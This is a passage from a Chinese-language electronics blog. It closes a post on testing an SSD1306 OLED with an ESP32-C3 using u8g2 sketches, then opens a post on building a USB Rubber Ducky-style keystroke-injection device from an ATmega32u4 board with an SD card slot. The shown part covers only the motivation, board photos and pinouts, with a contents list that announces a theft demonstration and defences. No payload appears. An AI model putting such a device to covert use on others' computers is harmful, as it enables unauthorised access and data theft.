<td>輸入輸出</td>
<td>第10數碼引腳</td>
</tr>
<tr class="mra-pin-rx">
<td>7</td>
<td>GP20</td>
<td>輸入輸出</td>
<td>第20數碼引腳,UART RX引腳</td>
</tr>
<tr class="mra-pin-tx">
<td>8</td>
<td>GP21</td>
<td>輸入輸出</td>
<td>第21數碼引腳,UART TX引腳</td>
</tr>
<tr class="mra-pin-ana">
<td>9</td>
<td>GP0</td>
<td>輸入輸出</td>
<td>第0數碼引腳,第0類比引腳</td>
</tr>
<tr class="mra-pin-ana">
<td>10</td>
<td>GP1</td>
<td>輸入輸出</td>
<td>第1數碼引腳,第1類比引腳</td>
</tr>
<tr class="mra-pin-ana">
<td>11</td>
<td>GP2</td>
<td>輸入輸出</td>
<td>第2數碼引腳,第2類比引腳</td>
</tr>
<tr class="mra-pin-ana">
<td>12</td>
<td>GP3</td>
<td>輸入輸出</td>
<td>第3數碼引腳,第3類比引腳</td>
</tr>
<tr class="mra-pin-sck">
<td>13</td>
<td>GP4</td>
<td>輸入輸出</td>
<td>第4數碼引腳,第4類比引腳,SPI SCK引腳</td>
</tr>
<tr class="mra-pin-vcc">
<td>14</td>
<td>3V3</td>
<td>輸入輸出</td>
<td>輸出 3.3V 電源</td>
</tr>
<tr class="mra-pin-gnd">
<td>15</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-vcc">
<td>16</td>
<td>5V</td>
<td></td>
<td>輸出 5V 電源</td>
</tr>
</tbody>
</table>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg33xHQrjTgarCTTxe0B7K1CI1SFKcAHMCoqWAa2zM3I8cfJK2RqhmNc3Rov4_A3rjkcxHfdI5et6MoBFkJmn4p_-x8cdtllgR2TJAQA9W3rc7uGG-QxFLvGcEZIOYX9k2gteBmcQ7nGk-pvPbO5p3mG_Kaw9KFhnBDmqRNnv3UzI5zEXkBi1Em0mQ6oAc/w0/ssd1306-oled-028.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg33xHQrjTgarCTTxe0B7K1CI1SFKcAHMCoqWAa2zM3I8cfJK2RqhmNc3Rov4_A3rjkcxHfdI5et6MoBFkJmn4p_-x8cdtllgR2TJAQA9W3rc7uGG-QxFLvGcEZIOYX9k2gteBmcQ7nGk-pvPbO5p3mG_Kaw9KFhnBDmqRNnv3UzI5zEXkBi1Em0mQ6oAc/w0/ssd1306-oled-028.jpg"/></a></div>
<p>同樣根據引腳功能焊接不同顏色的引腳</p>
<a name="ESP32-C3-Super-Mini線路原型"></a><h5 class="mra-h5">線路原型</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhILfy5XSiaCMhe6C_TU7zh3ALXFFoxbGF1d5qpcfLR2yeupKcF1B604Y52m4IsDl1hgAprkIgBir8qUF4mA6P2GL-BkjfenUw-iFoejv2yIz-dfHqrdnbhr4bgqNop1QndsB1s0iCkc8MpLmV1JLehU8wry81hU9QSZTP5XzmvWnnVyHgaucXnAEpBMT0/w0/ssd1306-oled-030.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhILfy5XSiaCMhe6C_TU7zh3ALXFFoxbGF1d5qpcfLR2yeupKcF1B604Y52m4IsDl1hgAprkIgBir8qUF4mA6P2GL-BkjfenUw-iFoejv2yIz-dfHqrdnbhr4bgqNop1QndsB1s0iCkc8MpLmV1JLehU8wry81hU9QSZTP5XzmvWnnVyHgaucXnAEpBMT0/w0/ssd1306-oled-030.png"/></a></div>
<p>使用 ESP32-C3 測試 OLED</p>
<a name="ESP32-C3-Super-Mini測試線路"></a><h5 class="mra-h5">測試線路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg48OW6sTyebXFpPNck2FJtxyI_wbHF3CxmDrj6HoUSQef9HUQx-URYDRrvjbLx4RwrCkQVYm_4RkeTi9zerBMglRXcZrkVuHD0Bl4GYc2Hb5FtF1h7a88i5DAL5M5LFoxqRdM1b9TrG-PGQaWelFodh5dCiCkYdN5bbCcHmhTtXNQOAH2AxqoFuvMcx6U/w0/ssd1306-oled-033.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg48OW6sTyebXFpPNck2FJtxyI_wbHF3CxmDrj6HoUSQef9HUQx-URYDRrvjbLx4RwrCkQVYm_4RkeTi9zerBMglRXcZrkVuHD0Bl4GYc2Hb5FtF1h7a88i5DAL5M5LFoxqRdM1b9TrG-PGQaWelFodh5dCiCkYdN5bbCcHmhTtXNQOAH2AxqoFuvMcx6U/w0/ssd1306-oled-033.jpg"/></a></div>
<p>由於線路簡單,因此 測試線路 與 線路原型 相同</p>
<a name="ESP32-C3-Super-Mini測試效果"></a><h5 class="mra-h5">測試效果</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWqTj7CB9MXsTRaTCAtPOkrcU6ICIZkarjcalmH-fwXDqwTar2GI87F_E7EhB0WZmIrL4EQyNYS8M0nhlLmIMPBmtklOUFzfBsesYjeCKPmdDDQaPfwlylHrA0DHgvjx9lWdOpmIzNFX9HKuwMuhGvYAu5kLnkKQXV7cudX4wZXECL2tMWVoHnkwWPKs8/w0/ssd1306-oled-035.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWqTj7CB9MXsTRaTCAtPOkrcU6ICIZkarjcalmH-fwXDqwTar2GI87F_E7EhB0WZmIrL4EQyNYS8M0nhlLmIMPBmtklOUFzfBsesYjeCKPmdDDQaPfwlylHrA0DHgvjx9lWdOpmIzNFX9HKuwMuhGvYAu5kLnkKQXV7cudX4wZXECL2tMWVoHnkwWPKs8/w0/ssd1306-oled-035.png"/></a></div>
<p>在下使用 <span class="mra-highlighter">u8g2</span> 函式庫,簡化開發時間</p>
<div><a href="https://photos.google.com/share/AF1QipM-g9zfak7bNXXOC63dZ6ZACEWgOcQvrlmVr79hTKh1nai5STGVF3uE1zaw5qfaSQ/photo/AF1QipPSFpuZMpwfkl8aeXFi9Lia0o4ph0b92mYrjdRU?key=NGlOamE5d042MkF0cHAtZVM5eVZTOExWdXhHb3dn"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-WSFRmQDZ52M/ZXFT25uUBjI/AAAAAAADI3M/oohroWz-wVc7566KU4i9mBS57QoZg0t-QCEwYBhgLKpwFALCRM50vJ4mXeTVAijKBAy3xsSNFq0wf6kTtyZ03Tpr7mHZRtJOAPokpNKSU1giYjDoaHRxLkuRjdSIKQYr_bDDlFUgYlLfKZnLZMevMgF1PTXLAeM3rUe-BC3MJ8RdvVVMEyzVw8QTAB9nA9lrd_kAXCoH1lOFhrmKrPHNqPMl-xddZ5REVJav2_bhldzPj_2eQ7ooLJGm26RvOqWbdE5GwD7QywR40saWyP48-A9clyRwqdk-J61mudsxHOzGzw5TPj0IaA96JpQaFe6LfR1nt38JWpNa49GYSRG6AKhKMKkSK0r5Seqc0Fx3W1ya4yIvHousV6__NKuThq6UOOa-XM2mWnzjpMVT5IR3TNwvdAMGYeIFGbcpQIK_QLTSrMofCMIUzK_nD7yT_fMRB-9jugo519M9ReyB_PuD-cAPIaUtjVWdBtN3PGHXKGBhUmyiALWnRaM3yw5Uy2mvDzwcdkuNyE3azv8iBeGvSpY3kv9Za9BmsTunh76kejR4VTkqs4knjOGZstaQgS6SKGuyHeRioUP4WXNwYpitQm00nPxNEK3ijGLHoPwbhxbC5uOvuTunJYzw7Tw5og1P8HeCSFL21-cWcnkriulnr1wVoZY2JYajE4PkP8Y76FjrNxWeGnwmZljQ350XJ771klTuOt0McPMoFBY54ULT7ctKG0pJ6UFlSpJRb2eqkiJs2Ny2ll1FOKV2e7dJ2xL-uMP5XoNRVAox_P8Oh7CVSUqq5U78ZB24kLRE6MG1CRNbJWiVHt7VHkQSi7hHEmLFF5-0x7a54_myFqnT98pdIkWgYnQYCZ98v7Lw-uUBNFED8MKhVQNsDA_NOWAgzTKWaZ0GO4qOdojjqjQLyOEYpFa8fMk-ApKXANA56A8Qwo5jOrAY/w600/ssd1306-oled-032.mp4"/></a></div>
<pre class="brush:cpp">#include <U8g2lib.h>
#define I2C_SCL 9
#define I2C_SDA 8
#define WIDTH 8
#define HEIGHT 8
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE, I2C_SCL, I2C_SDA);
void setup() {
u8g2.begin();
u8g2.setI2CAddress(0x3C << 1);
u8g2.clearBuffer();
}
void loop() {
u8g2.setDrawColor(1);
fillScreen();
u8g2.setDrawColor(0);
fillScreen();
}
void fillScreen() {
for (byte y = 0; y < 64; y += HEIGHT) {
for (byte x = 0; x < 128; x += WIDTH) {
u8g2.drawBox(x, y, WIDTH, HEIGHT);
u8g2.sendBuffer();
}
}
}</pre>
<p>展示將熒幕的內容填滿再清空<br/>
(由於鏡頭的更新率比OLED快,因此OLED更新內容時,會有掃描線)</p>
<div><a href="https://photos.google.com/share/AF1QipM-g9zfak7bNXXOC63dZ6ZACEWgOcQvrlmVr79hTKh1nai5STGVF3uE1zaw5qfaSQ/photo/AF1QipPL0sLpb2KKchVrORw8ytF4JvWjy750bGfsBcjd?key=NGlOamE5d042MkF0cHAtZVM5eVZTOExWdXhHb3dn"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-3FEs6HNFXT8/ZXHFxQiRcQI/AAAAAAADI3w/nasjHZK4HZA6nekzfFVrBlk_w5Ep4mFJwCEwYBhgLKpwFALCRM50vJ4mXeTVAijKBAy3xsSNFq0wf6kTtyZ03Tpr7mHZRtJOAPokpNKSU1giYjDoaHRxLkuRjdSIKQYr_bDDlFUgYlLfKZnLZMevMgF1PTXLAeM3rUe-BC3MJ8RdvVVMEyzVw8QTAB9nA9lrd_kAXCoH1lOFhrmKrPHNqPMl-xddZ5REVJav2_bhldzPj_2eQ7ooLJGm26RvOqWbdE5GwD7QywR40saWyP48-A9clyRwqdk-J61mudsxHOzGzw5TPj0IaA96JpQaFe6LfR1nt38JWpNa49GYSRG6AKhKMKkSK0r5Seqc0Fx3W1ya4yIvHousV6__NKuThq6UOOa-XM2mWnzjpMVT5IR3TNwvdAMGYeIFGbcpQIK_QLTSrMofCMIUzK_nD7yT_fMRB-9jugo519M9ReyB_PuD-cAPIaUtjVWdBtN3PGHXKGBhUmyiALWnRaM3yw5Uy2mvDzwcdkuNyE3azv8iBeGvSpY3kv9Za9BmsTunh76kejR4VTkqs4knjOGZstaQgS6SKGuyHeRioUP4WXNwYpitQm00nPxNEK3ijGLHoPwbhxbC5uOvuTunJYzw7Tw5og1P8HeCSFL21-cWcnkriulnr1wVoZY2JYajE4PkP8Y76FjrNxWeGnwmZljQ350XJ771klTuOt0McPMoFBY54ULT7ctKG0pJ6UFlSpJRb2eqkiJs2Ny2ll1FOKV2e7dJ2xL-uMP5XoNRVAox_P8Oh7CVSUqq5U78ZB24kLRE6MG1CRNbJWiVHt7VHkQSi7hHEmLFF5-0x7a54_myFqnT98pdIkWgYnQYCZ98v7Lw-uUBNFED8MKhVQNsDA_NOWAgzTKWaZ0GO4qOdojjqjQLyOEYpFa8fMk-ApKXANA56A8Qwo5jOrAY/w600/ssd1306-oled-034.mp4"/></a></div>
<pre class="brush:cpp">#include <U8g2lib.h>
#define I2C_SCL 4
#define I2C_SDA 6
#define BOOT 9
#define LED 8
bool pressed = true;
unsigned int count = 0;
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE, I2C_SCL, I2C_SDA);
void setup() {
pinMode(BOOT, INPUT_PULLUP);
pinMode(LED, OUTPUT);
u8g2.begin();
u8g2.setI2CAddress(0x3C << 1);
u8g2.setFontPosTop();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.setDrawColor(1);
u8g2.clearBuffer();
}
void loop() {
if (pressed == false && digitalRead(BOOT) == LOW) {
digitalWrite(LED, LOW);
pressed = true;
char timeString[12];
runTime(timeString);
u8g2.drawStr(0, 0, timeString);
u8g2.drawStr(0, 8, String(count++).c_str());
u8g2.sendBuffer();
} else if (pressed == true && digitalRead(BOOT) == HIGH) {
digitalWrite(LED, HIGH);
pressed = false;
}
delay(10);
}
void runTime(char timeString[12]) {
unsigned long milliseconds = millis();
byte hours = milliseconds / 3600000;
milliseconds %= 3600000;
byte minutes = milliseconds / 60000;
milliseconds %= 60000;
byte seconds = milliseconds / 1000;
milliseconds %= 1000;
sprintf(timeString, "%02d:%02d:%02d.%03d", hours, minutes, seconds, (unsigned int) milliseconds);
}</pre>
<p>展示按下 BOOT鈕按 (GP9) 的互動效果</p>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<p>在下測試的 0.96in-OLED ,第一引腳是 GND , 但有部分第一引腳是 VCC<br/>
因此接駁時要注意次序,否則 VCC 及 GND 反向接駁,很大機會會燒毀晶片或熒幕</p>
<p>雖然 0.96in-OLED 顯示能夠使用 0x3C 及 0x3D 但設定 I<sup>2</sup>C 地址時需要 <span class="mra-highlighter">向左偏移1位元</span><br/>
原因是 I<sup>2</sup>C 使用 7位元地址(第7至第1位元) 及 使用 1位元地址(第0位元) 設定 寫入 或 讀取<br/>
例如 0x3D = B00111101 , 向左偏移1位元後成為 B01111010 = 0x7A<br/>
如果需要設定為讀取,則將第0位元設定為 1 ,即是 B01111011 = 0x7B</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>基本上 u8g2 函式庫支援大部分已知的 OLED , u8g2 範例已經提供大量控制 OLED 的建構子<br/>
I<sup>2</sup>C 及 SPI 也支援,亦能夠自行設定引腳控制 OLED</p>
<p>SSD1306 OLED 尺寸細小,方便安裝到細小的空間及顯示輸出資料,不需要依賴序列輸出</p>
<p>另外 SSD1306 OLED 成本大約是 1至4美金 (視乎尺寸),成本比其他顯示熒幕裝置便宜<br/>
非常適合製作需要具備回饋或顯示效果的小型電子裝置</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://cdn-shop.adafruit.com/datasheets/SSD1306.pdf">SSD1306 資料表</a></li>
<li><a href="https://www.vishay.com/docs/37902/oled128o064dbpp3n00000.pdf">12864 OLED 資料表</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-90342974166336010272023-12-25T14:54:00.004+08:002024-02-29T22:42:11.532+08:00使用 ATmega32u4 模仿 USB Rubber Ducky<p>在下曾經使用 DigiSpark 配合 ATtiny85 製作模擬鍵盤自動操作<br/>
但當需要修改自動操作的內容便需要修改 Sketch 並重新上載程式碼<br/>
非常不方便,而且需要特定軟件及技術才能完成修改<br/>
因此在下嘗試尋找更好材料及方法完成這個操作</p>
<a name='more'></a>
<script type="text/javascript">
//<!--
function calculateVoltages() {
var inV = document.getElementById("in-v").value - 0;
var inR1 = document.getElementById("in-r1").value - 0;
var inR2 = document.getElementById("in-r2").value - 0;
document.getElementById("out-v0").textContent = inV + " V";
document.getElementById("out-r1").textContent = inR1 + " R";
document.getElementById("out-r2").textContent = inR2 + " R";
document.getElementById("out-v1").textContent = ((inV * inR2 / (inR1 + inR2)).toFixed(3) - 0) + " V";
}
//-->
</script>
<div class="mra-index">
<ul>
<li><a href="#附有MicroSD卡糟的ATmega32u4">附有 Micro SD卡糟的 ATmega32u4</a>
<ul>
<li><a href="#附有MicroSD卡糟的ATmega32u4外觀">外觀</a></li>
<li><a href="#附有MicroSD卡糟的ATmega32u4引腳">引腳</a></li>
<li><a href="#附有MicroSD卡糟的ATmega32u4試用">試用</a></li>
</ul>
</li>
<li><a href="#模仿USBRubberDucky">模仿 USB Rubber Ducky</a>
<ul>
<li><a href="#模仿USBRubberDucky功能">功能</a></li>
<li><a href="#模仿USBRubberDucky引腳狀態">引腳狀態</a></li>
<li><a href="#模仿USBRubberDucky捲動鍵碼">捲動鍵碼</a></li>
<li><a href="#模仿USBRubberDucky滑鼠鍵碼">滑鼠鍵碼</a></li>
<li><a href="#模仿USBRubberDucky鍵盤鍵碼">鍵盤鍵碼</a></li>
<li><a href="#模仿USBRubberDucky鍵盤效果">鍵盤效果</a></li>
<li><a href="#模仿USBRubberDucky滑鼠效果">滑鼠效果</a></li>
</ul>
</li>
<li><a href="#補充資料">補充資料</a>
<ul>
<li><a href="#補充資料ATmega32u4Bootloader">ATmega32u4 Bootloader</a></li>
<li><a href="#補充資料電壓分配規則">電壓分配規則</a></li>
<li><a href="#補充資料邏輯電壓轉換器">邏輯電壓轉換器</a></li>
<li><a href="#補充資料電壓分配規則計算器">電壓分配規則計算器</a></li>
</ul>
</li>
<li><a href="#總結">總結</a>
<ul>
<li><a href="#總結盜取示範">盜取示範</a></li>
<li><a href="#總結防護方法">防護方法</a></li>
</ul>
</li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<p><span class="mra-highlighter">USB Rubber Ducky</span> 是一種由 <span class="mra-highlighter">Hak5公司</span> 製作的 <span class="mra-highlighter">特殊USB裝置</span><br/>
外觀上與一般 <span class="mra-highlighter">USB儲存裝置</span> 相似,但內部就是一塊微控制器(使用 <span class="mra-highlighter">AT32UC3B1256晶片</span>),並附有 Micro SD卡糟<br/>
將稱為 <span class="mra-highlighter">Ducky Script</span> 的 腳本資料保存在 <span class="mra-highlighter">Micro SD卡</span> ,讓微控制器讀取腳本後執行對應指令<br/>
在下本來打算購買 USB Rubber Ducky 測試效果,但 USB Rubber Ducky 實在太貴,因此在下尋找其他替代品</p>
<p>在下曾經使用 Arduino 利用 SD卡模組 讀寫 SD卡 ,因此打算使用類似的方式將腳本保存在 SD卡<br/>
再使用 Arduino 的開發板根據腳本的特定關鍵內容執行對應指令,製作類似 USB Rubber Ducky 的效果<br/>
不過在下不需要完全複製 USB Rubber Ducky 的功能,只需要做到類似的功能即可</p>
<p>要達到目標,需要一款具備 USB功能 的 微控制器<br/>
在下曾經使用 Arduino Pro Micro 製作 USB鍵盤 及 DigiSpark 製作 登入USB<br/>
還有 Raspberry Pi Pico (W) 的 RP2040 都有支援 USB HID 協定</p>
<a name="附有MicroSD卡糟的ATmega32u4"></a><h4 class="mra-h4">附有 Micro SD卡糟的 ATmega32u4</h4>
<p>在下找到一款類似 DigiSpark ,使用 USB Type-A 插頭,能夠不需要 USB線 便可以連接到 USB插孔<br/>
還有附有不需要額外線路就能使用 Micro SD卡糟<br/>
(由於找不到名稱,因此在下簡化稱呼為「USB裝置」)</p>
<a name="附有MicroSD卡糟的ATmega32u4外觀"></a><h5 class="mra-h5">外觀</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2ZZUMvNbcFfwRhXRfhPxBCr6DLA9vJzunxpVTemGJLjUwLqYPIfq9yPa1ERw5VkJPPcAZbRWs-2_UBKtuqZQfXG1B_G0vcURrJ77X8cfOPvxldGfbzmt0mvr8kN4QrJFTPue14vAHHxq76n8C4RP37-aJsK1ikVH9pZNv7nNl6q-unsbyKXn35bZ7dbs/w0/atmega32u4-sd-card-slot-001.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2ZZUMvNbcFfwRhXRfhPxBCr6DLA9vJzunxpVTemGJLjUwLqYPIfq9yPa1ERw5VkJPPcAZbRWs-2_UBKtuqZQfXG1B_G0vcURrJ77X8cfOPvxldGfbzmt0mvr8kN4QrJFTPue14vAHHxq76n8C4RP37-aJsK1ikVH9pZNv7nNl6q-unsbyKXn35bZ7dbs/w600/atmega32u4-sd-card-slot-001.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>USB裝置 的 正面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwel9SpmpKTnQDcH0oPdzOYi5-1LqXUxs9F1CqGVe1fpRQ87CoOzFBWppzkBkAh-BpKSBzOzksF8nYv5sIYItSeAxDHxWSoCaiyhVuy1yO5-DKtZRhcbbXTbErgRQIWQmQndy7LmHO2xtx5kxK_4PRpWDWDVdNXm8xwdPJr6GOefzEWKvErETH0_7V704/w0/atmega32u4-sd-card-slot-002.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwel9SpmpKTnQDcH0oPdzOYi5-1LqXUxs9F1CqGVe1fpRQ87CoOzFBWppzkBkAh-BpKSBzOzksF8nYv5sIYItSeAxDHxWSoCaiyhVuy1yO5-DKtZRhcbbXTbErgRQIWQmQndy7LmHO2xtx5kxK_4PRpWDWDVdNXm8xwdPJr6GOefzEWKvErETH0_7V704/w600/atmega32u4-sd-card-slot-002.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>USB裝置 的 背面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLawnVhFO033Uq0yttQGVsihwpBpHgpoMufzu7YO4eFO_CSIP8mvxuvwAdzPbK5pTISxRYtME7RPGTymtyAWo5hRo4XaJUeb0S74Mm1kTgN4Ydg7TpGlGPh2fLe7DYQZ7FG3fmDyvNGEHRo68VCTFWAKQECOr9SHhTUV8j6WyHg_r5r4GyhULQW1x4C7w/w0/atmega32u4-sd-card-slot-003.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLawnVhFO033Uq0yttQGVsihwpBpHgpoMufzu7YO4eFO_CSIP8mvxuvwAdzPbK5pTISxRYtME7RPGTymtyAWo5hRo4XaJUeb0S74Mm1kTgN4Ydg7TpGlGPh2fLe7DYQZ7FG3fmDyvNGEHRo68VCTFWAKQECOr9SHhTUV8j6WyHg_r5r4GyhULQW1x4C7w/w600/atmega32u4-sd-card-slot-003.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>ATmega32u4晶片,與 Arduino Leonardo 或 Sparkfun Pro Micro 相同</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi42eMChv1J0Q52ij3EikuWbe5kFEq8aAHA3P-sSfE_YmpwfUNEMSDqSbhWL4qESDqyre4VHy_cX62EFx-pOOHoSUV3DUe82QHFf801SAG1ir7iY_alXO-fYtx9kan_1nF4nqtKVNTeKxjNuj1n4usvnKMyDQNGxOtFAz66zeyvTnjekaDFP1X9_R3M8n4/w0/atmega32u4-sd-card-slot-004.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi42eMChv1J0Q52ij3EikuWbe5kFEq8aAHA3P-sSfE_YmpwfUNEMSDqSbhWL4qESDqyre4VHy_cX62EFx-pOOHoSUV3DUe82QHFf801SAG1ir7iY_alXO-fYtx9kan_1nF4nqtKVNTeKxjNuj1n4usvnKMyDQNGxOtFAz66zeyvTnjekaDFP1X9_R3M8n4/w600/atmega32u4-sd-card-slot-004.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>重設按鈕</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8Ca-Khul-PeS6PCs9i4gl0SdfMXp7fLJ2IbFCKNe_rTemHijG5Qz2P0a1ov54SLD9yWvhGagqWAfDvCX1n5Nor_hlxqoGDZM6gAE3z1emlafGY2qghREpxVBjQenvjDH_LRRZKZYvS5FywfNeazTaV6VLx8K4uy7a47qHy0WwWproPMaNldH1QlDAwm4/w0/atmega32u4-sd-card-slot-005.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8Ca-Khul-PeS6PCs9i4gl0SdfMXp7fLJ2IbFCKNe_rTemHijG5Qz2P0a1ov54SLD9yWvhGagqWAfDvCX1n5Nor_hlxqoGDZM6gAE3z1emlafGY2qghREpxVBjQenvjDH_LRRZKZYvS5FywfNeazTaV6VLx8K4uy7a47qHy0WwWproPMaNldH1QlDAwm4/w600/atmega32u4-sd-card-slot-005.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p><span class="mra-highlighter">D1 LED</span> 及 <span class="mra-highlighter">D2 LED</span> 分別連接到 <span class="mra-highlighter">第13數碼引腳</span> 及 <span class="mra-highlighter">第8數碼引腳</span><br/>
電壓為高時亮著 LED , 第13數碼引腳 支援 <span class="mra-highlighter">10位元PWM</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtTYQlje-IxgbEmyop6pAIvAo7f7ODb4KSoR1jurL-k5epb90PGBS1x0tYqu1rVwknZPb8ygu3nYWSR47iwqwECxqejvDj60uPLkAfyWB_D4eeEDoMzbO4MEmdIQDUqjNEWbwp5_oAbh0J0eRKjUN92rGlafCIcs2AuPOjFyvquGXYLKC1vOnOeJySJ8c/w0/atmega32u4-sd-card-slot-006.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtTYQlje-IxgbEmyop6pAIvAo7f7ODb4KSoR1jurL-k5epb90PGBS1x0tYqu1rVwknZPb8ygu3nYWSR47iwqwECxqejvDj60uPLkAfyWB_D4eeEDoMzbO4MEmdIQDUqjNEWbwp5_oAbh0J0eRKjUN92rGlafCIcs2AuPOjFyvquGXYLKC1vOnOeJySJ8c/w600/atmega32u4-sd-card-slot-006.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>Micro SD卡槽的引腳 已經直接連接到 ATmega32u4 的 <span class="mra-highlighter">SPI引腳</span><br/>
而 <span class="mra-highlighter">SD卡的選取引腳</span> 亦直接連接到 <span class="mra-highlighter">第4數碼引腳</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV9H6I3SSJ-lpmdhyG-tzI0rCMLOIrsAE1iLtipInSfweACVgaG2OpLcuT_1rD4GhNE7sSvM10DEpTy_AvJnhSM6e9mSBEMEKPxfHlAcQ5XKiWnHkP8dE67QT4cRIjhjbBOZRDrBcpM2VxfV5Hd8o74gzyrhGPVTrZwVnxTA3pa3RR8SoiObmLQ42JL5k/w0/atmega32u4-sd-card-slot-007.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV9H6I3SSJ-lpmdhyG-tzI0rCMLOIrsAE1iLtipInSfweACVgaG2OpLcuT_1rD4GhNE7sSvM10DEpTy_AvJnhSM6e9mSBEMEKPxfHlAcQ5XKiWnHkP8dE67QT4cRIjhjbBOZRDrBcpM2VxfV5Hd8o74gzyrhGPVTrZwVnxTA3pa3RR8SoiObmLQ42JL5k/w600/atmega32u4-sd-card-slot-007.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>74HC4050D晶片 是一種 六通道高到低電壓轉換器</p>
<a name="附有MicroSD卡糟的ATmega32u4引腳"></a><h5 class="mra-h5">引腳</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIsPnUAPIIRZCOeq-2AOsZm1XXGVjRv32AFyPv-4wZZtjLjwHWJr1GEQfDCMnSBWab5uwGKnUdFMr2C9PoXtK3eM3Brz7tSoKUk_mPYWSTonEIdXa55YyyjYN9E12bmhSJqhCk5dc-D_CiN4r902DM4pwGevU_zMzvlS2Ll_eN5V83O8ddan3wFgJ76js/w0/atmega32u4-sd-card-slot-015.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIsPnUAPIIRZCOeq-2AOsZm1XXGVjRv32AFyPv-4wZZtjLjwHWJr1GEQfDCMnSBWab5uwGKnUdFMr2C9PoXtK3eM3Brz7tSoKUk_mPYWSTonEIdXa55YyyjYN9E12bmhSJqhCk5dc-D_CiN4r902DM4pwGevU_zMzvlS2Ll_eN5V83O8ddan3wFgJ76js/w600/atmega32u4-sd-card-slot-015.jpg"/></a></div>
<p>USB裝置 總共引出 <span class="mra-highlighter">8支引腳</span> 及 2對 VCC引腳 及 GND引腳<br/></p>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="40%"/>
<col width="10%"/>
<col width="10%"/>
<col width="40%"/>
</colgroup>
<thead>
<thead>
<tr class="mra-pin-header">
<th colspan="4">USB方向(正面)</th>
</tr>
<tr class="mra-pin-header">
<th colspan="2">左排引腳</th>
<th colspan="2">右排引腳</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td class="mra-pin-miso">12</td>
<td class="mra-pin-miso">MISO</td>
</tr>
<tr>
<td></td>
<td></td>
<td class="mra-pin-mosi">11</td>
<td class="mra-pin-mosi">MOSI</td>
</tr>
<tr>
<td></td>
<td></td>
<td class="mra-pin-sck">10</td>
<td class="mra-pin-sck">SCK</td>
</tr>
<tr>
<td></td>
<td></td>
<td class="mra-pin-rst">9</td>
<td class="mra-pin-rst">RST</td>
</tr>
<tr>
<td class="mra-pin-scl">SCL</td>
<td class="mra-pin-scl">1</td>
<td class="mra-pin-gnd">8</td>
<td class="mra-pin-gnd">GND</td>
</tr>
<tr>
<td class="mra-pin-sda">SDA</td>
<td class="mra-pin-sda">2</td>
<td class="mra-pin-vcc">7</td>
<td class="mra-pin-vcc">VCC</td>
</tr>
<tr>
<td class="mra-pin-rx">RX</td>
<td class="mra-pin-rx">3</td>
<td></td>
<td></td>
</tr>
<tr>
<td class="mra-pin-tx">TX</td>
<td class="mra-pin-tx">4</td>
<td></td>
<td></td>
</tr>
<tr>
<td class="mra-pin-vcc">VCC</td>
<td class="mra-pin-vcc">5</td>
<td></td>
<td></td>
</tr>
<tr>
